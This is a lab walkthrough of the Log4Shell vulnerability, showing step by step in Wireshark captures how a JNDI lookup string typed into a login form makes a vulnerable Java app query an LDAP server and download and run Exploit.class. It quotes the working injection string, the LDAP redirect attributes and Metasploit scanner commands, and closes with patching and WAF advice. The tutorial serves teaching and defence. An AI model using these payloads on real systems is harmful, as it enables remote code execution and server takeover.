Introduction to Log4j Vulnerability
Log4j is a very popular logging framework used in Java applications and provides additional functions, like log levels (fatal, error, warn, etc), methods to write to different log files and so on. Recently, a very dangerous vulnerability was found in Log4J which is called Log4Shell. Improper input validation is the main cause of log4shell. In another saying, unchecked user inputs let attackers to exploit applications.
In this article, we will set up a lab, using tools like Kali, Docker etc. and try to exploit the vulnerable web application with some improper inputs while we log in to the application. Before we proceed to exploit, we need to start packet capturing with Wireshark.
Setting up the LAB Environment
Since I do not have a vulnerable application, I have found a nice one for Proof of Concept (PoC) from https://github.com/kozmer/log4j-shell-poc. They offer the vulnerable web application for testing purpose. All steps that are needed to install the requirements are provided by them in the link. I used Kali and downloaded the Docker file, following their instructions. Steps are very straightforward and easy to follow.
Steps to exploit using Log4j Vulnerability
I assume that you have set up the lab properly. We will continue from the figure below step by step.
Step 1
The attacker opens the vulnerable web application to exploit, using an improper string for login like below.
The user name is a special string for exploiting Log4j. The attacker’s aim is to make Log4j log (write) that special string. Once the “Login” button gets pressed, a http POST request is sent with Username: ${jndi:ldap://localhost:1389/a} and Password: password.
The request packet captured by Wireshark is below.
Step 2
The application passes the string (${jndi:ldap://localhost:1389/a}
) to Log4j module for logging.
Step 3
Log4j interpolates (parses) the string. In another saying when Log4j notices it is a special string (command), it calls Java Naming and Directory Interface (JNDI) which is a directory service that allows Java software clients to discover and look up data and resources (in the form of Java objects) via a name. JNDI architecture consists of an application programming interface (API) and a service provider interface (SPI) which includes LDAP, DNS, NSI, RMI, CORBA etc.
Log4j asks JNDI to use LDAP SPI to search an object on the LDAP server. The string is dissected below.
SPI: LDAP
LDAP SERVER IP: localhost (127.0.0.1)
Port: 1389
Object Name: a
Step 4
LDAP SPI queries the malicious LDAP server, asking for object “a”. I will filter all LDAP packets for easy understanding. Steps are below.
1) Find an LDAP packet.
2) Right click on the packet, a menu appears.
3) Navigate to Follow → TCP Stream
4) Now, you should see all the ldap query and answer packets, including binding requests as well. My output is below.
In the figure above, after establishing a TCP connection, the client sends a bind request which means that it desires to authenticate and it picks a simple binding method by which credentials are sent in clear text. As soon as binding (authentication) finishes, the client sends a “searchRequest” for object “a”. See below for more details.
Step 5
The ldap server completes the search and finds object “a” and returns the object with attributes to the client as an answer.
The object contains attributes and values as below:
javaClassName: foo
javaCodeBase: http://localhost:8000/
objectClass: javaNamingReference
javaFactory: Exploit
Step 6
JNDI API converts LDAP object (“a”) into a form of a Java object and delivers it to the application. This Java object is simply used for redirection. In short, it says “use http and go to this IP and port and download Exploit.class file”.
Step 7
The application craft a http GET request to the malicious web server for downloading “Exploit.class” file. See the details below.
After filtering the packets that uses TCP port 8000, I obtained the traffic between the vulnerable application and the malicious web server. The first 3 packets belong to the TCP 3-way handshaking. The next packet is the request that asks for “Exploit.class”. See more details below.
Step 8
Once the malicious web server receives the http GET request, it creates a response that contains “Exploit.class” file and sends it back to the application. See the details below.
As you see in the screenshot above, the content type is a java file. Once the downloading completes, Java executes the malicious file.
Sometimes, we may need to analyse behavior of a suspicious file like “Exploit.class”. We can run the file in a sandbox or scan it with an antivirus. Since I have only the packets, I will extract the file from captured packets with help of Wireshark. The steps are below.
Navigate to File → Export object → HTTP as below
A window pops up as seen below, listing some http objects.
Select the object you want to save. I wanted to upload the file to www.virustotal.com to see if it contains any malicious code. As soon as I saved the file, my antivirus program alerted me that it would quarantine it.
Step 9
The Exploit class gives the hacker a remote shell. Now that the attacker takes over the web server control and the system gets compromised.
Discover Your Vulnerable Applications with Metasploit Log4Shell Module
There is a module in Metasploit that can be used to discover vulnerability in HTTP endpoints. Since it is a new one, you may need to upgrade your metasploit-framework like below.
First, apply apt update command that updates the package lists from a server on the internet.
# apt update
Then apply “apt install metasploit-framework
” command to upgrade the system.
#apt install metasploit-framework
At this point, you have the upgraded module. Next step is to configure the module. I used the parameters below. You can customize it for your need.
msf6 > use auxiliary/scanner/http/log4shell_scanner msf6 auxiliary(scanner/http/log4shell_scanner) > set RHOSTS 192.168.1.16 RHOSTS => 192.168.1.16 msf6 auxiliary(scanner/http/log4shell_scanner) > set SRVHOST 192.168.1.16 SRVHOST => 192.168.1.16 msf6 auxiliary(scanner/http/log4shell_scanner) > set RPORT 8080 RPORT => 8080 msf6 auxiliary(scanner/http/log4shell_scanner) > run [*] Scanned 1 of 1 hosts (100% complete) [*] Sleeping 30 seconds for any last LDAP connections [*] Auxiliary module execution completed msf6 auxiliary(scanner/http/log4shell_scanner) >
The module did not find the vulnerability in the application. When I applied “http.request.method == "GET" or http.request.method == "POST"” filter to the captured packets, I noticed that the module had used only http GET requests to exploit the application. Since the application is vulnerable against a http POST request, all the attempts failed to compromise the system. See below captured http packets when using log4shell_scanner module.
Final Thoughts
The Log4Shell vulnerability can cause Remote Code Execution (RCE). To prevent this, first thing is to patch all the applications that have the flaw. Updating the application to the last version is also a good protection to avoid being exploited. WAF, Firewall and IPS should be configured so that they will be able to catch the exploitation strings and their obfuscations.